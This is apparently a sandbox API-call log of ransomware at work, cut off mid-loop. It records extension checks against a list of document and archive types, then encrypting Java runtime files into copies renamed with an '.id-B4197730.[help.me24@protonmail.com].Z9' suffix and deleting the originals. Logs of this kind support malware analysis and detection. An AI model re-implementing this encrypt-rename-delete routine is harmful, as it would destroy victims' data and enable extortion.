	[0094.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0094.207] lstrlenW (lpString=".jpg") returned 4
	[0094.207] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0094.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0094.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0094.207] lstrlenW (lpString=".doc") returned 4
	[0094.207] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0094.207] lstrlenW (lpString=".docx") returned 5
	[0094.207] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1
	[0094.207] lstrlenW (lpString=".pdf") returned 4
	[0094.207] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0094.207] lstrlenW (lpString=".xls") returned 4
	[0094.207] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0094.207] lstrlenW (lpString=".xlsx") returned 5
	[0094.207] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1
	[0094.207] lstrlenW (lpString=".ppt") returned 4
	[0094.207] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0094.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0094.207] lstrlenW (lpString=".zip") returned 4
	[0094.207] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0094.207] lstrlenW (lpString=".rar") returned 4
	[0094.207] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0094.207] lstrlenW (lpString=".bz2") returned 4
	[0094.208] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0094.208] lstrlenW (lpString=".7z") returned 3
	[0094.208] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0094.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0094.208] lstrlenW (lpString=".dbf") returned 4
	[0094.208] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0094.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0094.208] lstrlenW (lpString=".1cd") returned 4
	[0094.208] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0094.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0094.208] lstrlenW (lpString=".jpg") returned 4
	[0094.208] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0094.208] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0094.208] lstrlenW (lpString="ktab.exe") returned 8
	[0094.208] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0094.208] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=16448) returned 1
	[0094.208] CloseHandle (hObject=0x384) returned 1
	[0094.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 0x20
	[0094.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.209] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0094.209] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.209] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.209] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0094.209] GetLastError () returned 0x0
	[0094.209] ReadFile (in: hFile=0x384, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x4040, lpOverlapped=0x0) returned 1
	[0094.264] WriteFile (in: hFile=0x394, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x4050, lpOverlapped=0x0) returned 1
	[0094.266] ReadFile (in: hFile=0x384, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.266] WriteFile (in: hFile=0x394, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0094.266] SetEndOfFile (hFile=0x394) returned 1
	[0094.279] CloseHandle (hObject=0x394) returned 1
	[0094.281] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.281] SetEndOfFile (hFile=0x384) returned 1
	[0094.285] CloseHandle (hObject=0x384) returned 1
	[0094.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.288] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 1
	[0094.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0094.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0094.288] lstrlenW (lpString=".doc") returned 4
	[0094.288] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0094.288] lstrlenW (lpString=".docx") returned 5
	[0094.288] lstrcmpiW (lpString1=".docx", lpString2="b.exe") returned -1
	[0094.288] lstrlenW (lpString=".pdf") returned 4
	[0094.288] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0094.288] lstrlenW (lpString=".xls") returned 4
	[0094.288] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0094.288] lstrlenW (lpString=".xlsx") returned 5
	[0094.288] lstrcmpiW (lpString1=".xlsx", lpString2="b.exe") returned -1
	[0094.288] lstrlenW (lpString=".ppt") returned 4
	[0094.288] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0094.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0094.288] lstrlenW (lpString=".zip") returned 4
	[0094.288] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0094.288] lstrlenW (lpString=".rar") returned 4
	[0094.288] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0094.288] lstrlenW (lpString=".bz2") returned 4
	[0094.288] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0094.288] lstrlenW (lpString=".7z") returned 3
	[0094.288] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0094.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0094.289] lstrlenW (lpString=".dbf") returned 4
	[0094.289] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0094.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0094.289] lstrlenW (lpString=".1cd") returned 4
	[0094.289] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0094.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0094.289] lstrlenW (lpString=".jpg") returned 4
	[0094.289] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0094.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0094.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0094.289] lstrlenW (lpString=".doc") returned 4
	[0094.289] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0094.289] lstrlenW (lpString=".docx") returned 5
	[0094.289] lstrcmpiW (lpString1=".docx", lpString2="b.exe") returned -1
	[0094.289] lstrlenW (lpString=".pdf") returned 4
	[0094.289] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0094.289] lstrlenW (lpString=".xls") returned 4
	[0094.289] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0094.289] lstrlenW (lpString=".xlsx") returned 5
	[0094.289] lstrcmpiW (lpString1=".xlsx", lpString2="b.exe") returned -1
	[0094.289] lstrlenW (lpString=".ppt") returned 4
	[0094.289] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0094.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0094.289] lstrlenW (lpString=".zip") returned 4
	[0094.289] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0094.289] lstrlenW (lpString=".rar") returned 4
	[0094.289] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0094.289] lstrlenW (lpString=".bz2") returned 4
	[0094.289] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0094.289] lstrlenW (lpString=".7z") returned 3
	[0094.289] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0094.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0094.289] lstrlenW (lpString=".dbf") returned 4
	[0094.289] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0094.290] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0094.290] lstrlenW (lpString=".1cd") returned 4
	[0094.290] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0094.290] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0094.290] lstrlenW (lpString=".jpg") returned 4
	[0094.290] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0094.290] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.290] lstrlenW (lpString="msvcp120.dll") returned 12
	[0094.290] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0094.290] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=660128) returned 1
	[0094.290] CloseHandle (hObject=0x350) returned 1
	[0094.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 0x20
	[0094.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.290] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0094.290] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.290] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.291] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0094.291] GetLastError () returned 0x0
	[0094.291] ReadFile (in: hFile=0x350, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0xa12a0, lpOverlapped=0x0) returned 1
	[0094.510] WriteFile (in: hFile=0x320, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xa12b0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xa12b0, lpOverlapped=0x0) returned 1
	[0094.521] ReadFile (in: hFile=0x350, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.521] WriteFile (in: hFile=0x320, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.521] SetEndOfFile (hFile=0x320) returned 1
	[0094.521] CloseHandle (hObject=0x320) returned 1
	[0094.521] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.521] SetEndOfFile (hFile=0x350) returned 1
	[0094.527] CloseHandle (hObject=0x350) returned 1
	[0094.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.527] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 1
	[0094.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0094.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0094.527] lstrlenW (lpString=".doc") returned 4
	[0094.527] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.527] lstrlenW (lpString=".docx") returned 5
	[0094.528] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0094.528] lstrlenW (lpString=".pdf") returned 4
	[0094.528] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.528] lstrlenW (lpString=".xls") returned 4
	[0094.528] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.528] lstrlenW (lpString=".xlsx") returned 5
	[0094.528] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0094.528] lstrlenW (lpString=".ppt") returned 4
	[0094.528] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0094.528] lstrlenW (lpString=".zip") returned 4
	[0094.528] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.528] lstrlenW (lpString=".rar") returned 4
	[0094.528] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.528] lstrlenW (lpString=".bz2") returned 4
	[0094.528] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.528] lstrlenW (lpString=".7z") returned 3
	[0094.528] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0094.528] lstrlenW (lpString=".dbf") returned 4
	[0094.528] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0094.528] lstrlenW (lpString=".1cd") returned 4
	[0094.528] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0094.528] lstrlenW (lpString=".jpg") returned 4
	[0094.528] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0094.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0094.528] lstrlenW (lpString=".doc") returned 4
	[0094.528] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.528] lstrlenW (lpString=".docx") returned 5
	[0094.528] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0094.528] lstrlenW (lpString=".pdf") returned 4
	[0094.528] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.529] lstrlenW (lpString=".xls") returned 4
	[0094.529] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.529] lstrlenW (lpString=".xlsx") returned 5
	[0094.529] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0094.529] lstrlenW (lpString=".ppt") returned 4
	[0094.529] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0094.529] lstrlenW (lpString=".zip") returned 4
	[0094.529] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.529] lstrlenW (lpString=".rar") returned 4
	[0094.529] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.529] lstrlenW (lpString=".bz2") returned 4
	[0094.529] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.529] lstrlenW (lpString=".7z") returned 3
	[0094.529] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0094.529] lstrlenW (lpString=".dbf") returned 4
	[0094.529] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0094.529] lstrlenW (lpString=".1cd") returned 4
	[0094.529] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0094.529] lstrlenW (lpString=".jpg") returned 4
	[0094.529] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.529] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.530] lstrlenW (lpString="nio.dll") returned 7
	[0094.530] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0094.530] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=60480) returned 1
	[0094.530] CloseHandle (hObject=0x350) returned 1
	[0094.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 0x20
	[0094.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.530] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0094.530] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.530] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.530] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0094.531] GetLastError () returned 0x0
	[0094.531] ReadFile (in: hFile=0x350, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0xec40, lpOverlapped=0x0) returned 1
	[0094.926] WriteFile (in: hFile=0x320, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xec50, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xec50, lpOverlapped=0x0) returned 1
	[0094.928] ReadFile (in: hFile=0x350, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.928] WriteFile (in: hFile=0x320, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0094.928] SetEndOfFile (hFile=0x320) returned 1
	[0094.928] CloseHandle (hObject=0x320) returned 1
	[0094.928] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.928] SetEndOfFile (hFile=0x350) returned 1
	[0094.931] CloseHandle (hObject=0x350) returned 1
	[0094.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.932] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 1
	[0094.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0094.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0094.932] lstrlenW (lpString=".doc") returned 4
	[0094.932] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.932] lstrlenW (lpString=".docx") returned 5
	[0094.932] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1
	[0094.932] lstrlenW (lpString=".pdf") returned 4
	[0094.932] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.932] lstrlenW (lpString=".xls") returned 4
	[0094.932] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.932] lstrlenW (lpString=".xlsx") returned 5
	[0094.932] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1
	[0094.932] lstrlenW (lpString=".ppt") returned 4
	[0094.932] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0094.932] lstrlenW (lpString=".zip") returned 4
	[0094.932] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.932] lstrlenW (lpString=".rar") returned 4
	[0094.932] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.932] lstrlenW (lpString=".bz2") returned 4
	[0094.932] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.933] lstrlenW (lpString=".7z") returned 3
	[0094.933] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0094.933] lstrlenW (lpString=".dbf") returned 4
	[0094.933] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0094.933] lstrlenW (lpString=".1cd") returned 4
	[0094.933] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0094.933] lstrlenW (lpString=".jpg") returned 4
	[0094.933] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0094.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0094.933] lstrlenW (lpString=".doc") returned 4
	[0094.933] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.933] lstrlenW (lpString=".docx") returned 5
	[0094.933] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1
	[0094.933] lstrlenW (lpString=".pdf") returned 4
	[0094.933] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.933] lstrlenW (lpString=".xls") returned 4
	[0094.933] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.933] lstrlenW (lpString=".xlsx") returned 5
	[0094.933] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1
	[0094.933] lstrlenW (lpString=".ppt") returned 4
	[0094.933] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46
	[0094.933] lstrlenW (lpString=".zip") returned 4
	[0094.933] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.933] lstrlenW (lpString=".rar") returned 4
	[0094.933] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
